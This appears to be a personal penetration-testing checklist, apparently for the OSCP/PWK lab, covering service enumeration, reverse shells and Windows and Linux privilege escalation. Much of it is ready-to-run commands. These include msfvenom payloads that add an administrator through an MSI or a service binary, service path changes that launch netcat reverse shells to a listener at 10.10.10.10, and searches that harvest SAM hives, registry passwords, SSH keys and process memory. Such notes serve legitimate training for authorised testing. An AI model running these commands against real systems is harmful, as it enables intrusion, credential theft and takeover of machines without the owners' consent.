

Nmap scan

Make a note of open ports

Also perform a UDP scan at the end of enum.sh

Web Server

Mostly covered by enum; Nikto | dirbuster | Manual check

Check results from enum script first but also begin a more in-depth dirbuster scan while looking manually

Check for LFI/RFI in query strings

If there are any logon portals:

Google default credentials- if a default username is discovered run brute force in background

Otherwise manually check discovered pages for info leak related to this

Check for SQL injection too- probably in password field but check username just in case

SMB | FTP | TFTP

Do we have anon access?

Can we write to the server?

If there's a web server, are we able to view uploaded files there?

Any public vulnerabilities in relation to software versions?

If we've found usernames elsewhere, attempt brute force using these and a simple wordlist (e.g. best110.txt)

RPCBind

Is NFS running? If so, enumerate and mount:

```
nmap -p 111 --script nfs* 10.11.1.72
```

```
sudo mount -o nolock 10.11.1.72:/home ~/home/
```

More in PWK pdf if needed (e.g. to quickly see how to impersonate UIDs)

SQL Server

MS-SQL can ~~in some cases~~ be used for RCE and a reverse shell.

If info not found elsewhere, look for common creds and attempt bruteforce.

Upload Files With RCE Established

Windows

Certutil

Curl

wget

PowerShell

SMB

FTP (never had to do this but worth checking) | TFTP

Linux

Curl

wget

FTP | TFTP | SMB

Establish a Reverse Shell

File upload using above method if RCE is possible

Back-end language specific reverse shell (e.g. WAR|PHP) through file upload or LFI

xp-cmdshell through SQL injection or server access (if certain versions of MS-SQL)

Check if discovered creds get us into anything interesting like FTP/SMB or SSH.

We can also establish a telnet reverse shell through RCE if all else fails

Make this an interactive form with a generated checklist based on Q&A

Windows Privilege Escalation

Do environment variables hold any important information?

Set

System version?

systeminfo

Any useable privileges or groups? Other users?

Whoami /all – if we're an Administrator but have been assigned a medium mandatory level, we can bypaas UAC under certain circumstances

Net users

net localgroup Administrators – May be easier to search for info on returned users if different to current one

dir [C:\Users](#) – anyhting useable in user directories

Abusing privileges:

<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens>

Abusing privileged groups:

<https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges>

Anything interesting in PowerShell history?

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Anything in internet settings?

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

can we install (execute) *.msi files as NT AUTHORITY\SYSTEM?

Yes if

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

are enabled (equal to 1)

```
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
```

<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/msi-wrapper>

install malicious msi in background:

```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```

Is Linux Subsystem Present?

May be able to access as root

```
dir //s//b bash.exe wsl.exe
```

Running Processes

May be able to hijack a DLL or similar

```
tasklist /v /fi "username eq system"
```

Check permissions of any found processes binaries

```
for /f "tokens=2 delims='" %x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":") do (
for /f eol^="^" delims^=" %z in ('echo %x') do (
icaccls "%z" 2>nul | findstr /i "(F) (M) (W) :\\ " | findstr /i ":\\ everyone authenticated users todos
%username%" && echo.
)
)
```

Check permissions of folders of found binaries for possibility of DLL hijack

```
for /f "tokens=2 delims='" %x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":") do for /f eol^="^" delims^=" %y in ('echo %x') do (
icaccls "%~dpn%" 2>nul | findstr /i "(F) (M) (W) :\\ " | findstr /i ":\\ everyone authenticated users todos
%username%" && echo.
)
```

Password Mining

Create memory dump of running process (some will have creds in clear text like FTP)

```
procdump.exe -accepteula -ma <proc_name_tasklist>
```

Registries With Creds

Can leak user credentials

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i  
"DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName  
AltDefaultUserName AltDefaultPassword LastUsedUsername"
```

```
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s  
reg query "HKCU\Software\TightVNC\Server"  
reg query "HKCU\Software\OpenSSH\Agent\Key"
```

Generic registry search for string containing "password"

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K  
REG QUERY HKCU /F "password" /t REG_SZ /S /K  
REG QUERY HKLM /F "password" /t REG_SZ /S /d  
REG QUERY HKCU /F "password" /t REG_SZ /S /d
```

Credential Manager

Cmdkey /list

if any are found, we can use credman.ps1 to extract plaintext password

Can then use runas to execute with privileges of leaked user

SCClient

Check if C:\Windows\CCM\SCClient.exe exists .

As installers are run with system privileges, there may be a possibility of DLL sideloading.

```
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * |  
select Name,SoftwareVersion  
if ($result) { $result }  
else { Write "Not Installed." }
```

Sensitive files

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```

```
%SYSTEMROOT%\repair\SAM  
%SYSTEMROOT%\System32\config\RegBack\SAM  
%SYSTEMROOT%\System32\config\SAM  
%SYSTEMROOT%\repair\system  
%SYSTEMROOT%\System32\config\SYSTEM  
%SYSTEMROOT%\System32\config\RegBack\system
```

```
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig  
== .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json  
== azureProfile.json == appcmd.exe == scclient.exe == *.pgp$ == *.pgp$ == *config*.php ==  
elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* ==
```

```
*.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM ==  
SYSTEM == security == software == FreeSSHService.ini == sysprep.inf == sysprep.xml ==  
*vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf  
== my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt ==  
pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav ==  
security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul |  
findstr /v ".dll"
```

Generic file search (filenames)

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

File contents

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```

AppCmd.exe

If this exists credentials may be configured

```
$Env:SystemRoot\System32\inetsrv\appcmd.exe
```

PowerUp provides a module for this

IIS Web Config

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```

```
C:\inetpub\wwwroot\web.config
```

wwwroot could also contain other files to check manually too!

SSH Private Keys?

```
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
```

decrypt: https://github.com/roptop/windows_sshagent_extract

Unquoted Service Paths?

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\"  
|findstr /i /v ""  
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (  
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l  
/c:"c:\windows\system32" ^| findstr /v /c:"""') do (  
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s |  
findstr /i "(F) (M) (W) :\" | findstr /i ":\ everyone authenticated users todos %username%") && echo.  
)  
)
```

create service binary

```
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o  
service.exe
```

Open Ports

Any hidden services we initially didn't find?

Netstat -an

Any Over-Privileged Applications?

Check permissions of binaries- can we overwrite one and escalate privileges?

```
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

Any Interesting Write Permissions?

Can we alter any config files or admin executed binaries?

```
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*. *
accesschk.exe -uwqs "Authenticated Users" c:\*. *
accesschk.exe -uwdqs "Everyone" c:\*. *
```

```
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\\ everyone authenticated users todos %username%"
icacls ":\\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\\ everyone authenticated users todos %username%"
```

Vulnerable drivers?

Driverquery

Path DLL Hijacking

Check permissions of all folders inside PATH:

```
for %%A in ("%path:;=";"") do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) :\" |
findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```

Any Over-Privileged Services?

get a list of services

net start

Check permissions of service

```
sc qc <service_name>
accesschk.exe -ucqv <Service_Name>
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
```

```
enable if error 1058 occurs
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```

Modify binary path of service

```
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd /c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
```

Restart

```
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
```

```
get every binary that is executed by a service for DLL hijacking
for /f "tokens=2 delims='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"')
do @echo %a >> %temp%\perm.txt
for /f eol^=^" delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacLS "%a" 2>nul | findstr "(M)
(F) :"
```

service registry permissions

```
reg query HKLM\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the
services
```

Change path of executed binary

```
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t
REG_EXPAND_SZ /d C:\path\new\binary /f
```

AppLocker Policy

Show black and whitelisted file extensions

```
Get-ApplockerPolicy -Effective -xml
```

Updates requested over HTTP?

```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUserver
```

If reply is:

```
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUserver REG_SZ http://xxxx-updxx.corp.internal.com:8535
```

```
and HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUserver = 1
```


then we can use this to compromise the system (wsuxploit)

Linux Privilege Escalation

Do we have SUDO rights to anything?

Sudo -l

SUID/SGID files?

The file will execute as the user who owns it if SUID is set and as the group that owns it if SGID set; we also need write permission to be able to exploit this.

```
echo -e "\e[31mFiles run as group, not user:\e[0m" && find / -perm -g=s -type f 2>/dev/null
echo -e "\e[31mFiles run as owner, not user:\e[0m" && find / -perm -u=s -type f 2>/dev/null
```

Files with no owner? Sticky Bit Files?

Useful to know.

```
echo -e "\e[31mFiles with no owner:\e[0m" && find / -xdev \( -nouser -o -nogroup \) -print
echo -e "\e[31mFiles with sticky bit:\e[0m" && find / -perm -1000 -type d 2>/dev/null
```

Environment Variables?

```
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
```

World Writeable or World Executable?

Useful in a situation where the file is root owned and SUID/SGID or executed via root through a cronjob.

World writeable could allow us to execute code as root via altering the file and triggering root execution.

```
echo -e "\e[31mWorld writeable files:\e[0m" && find / -writable 2>/dev/null
```

World executable files if ~~SUID/SGID~~ could allow us to exploit functionality in the script and elevate privileges (e.g. nmap and vi can be used to establish a root shell)

```
echo -e "\e[31mWorld executable files:\e[0m" && find / -perm -o x 2>/dev/null
```

Any Cronjobs Scheduled?

If we have write access to a file executed by root in a cronjob, we can use this to escalate.

```
crontab -l && echo "Other cronjob information:" && cat /etc/cron*
```

Root Processes?

Some processes should not be run as root and can be exploitable if this is the case- e.g if mysql server is run as root, this can be used to escalate.

```
if [[ $( ps aux | grep "root" )!=" " ]]; then echo "Services running under root: " ; ps aux | grep "root" ; fi
```

Any Interesting ~~And Accessible~~ Mail?

May contain useful information and can be used in some public exploits.

```
echo -e "\e[31mMail directory\e[0m" && ls -al /var/mail
```

Any Info In Web Server Directory?

Manually check this

```
ls -al /var/www
```

Who Else Is On The System?

Do we have access to their home directory?

```
echo -e "\e[31mSystem users:\e[0m" && cat /etc/passwd | cut -d: -f1  
ls -al /home
```

Any Interesting Local Services?

```
Netstat -ano
```

What is our OS and Kernel Version?

```
cat /etc/issue  
uname -a
```

Any public exploits associated with?

Packet Sniffing?

```
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
```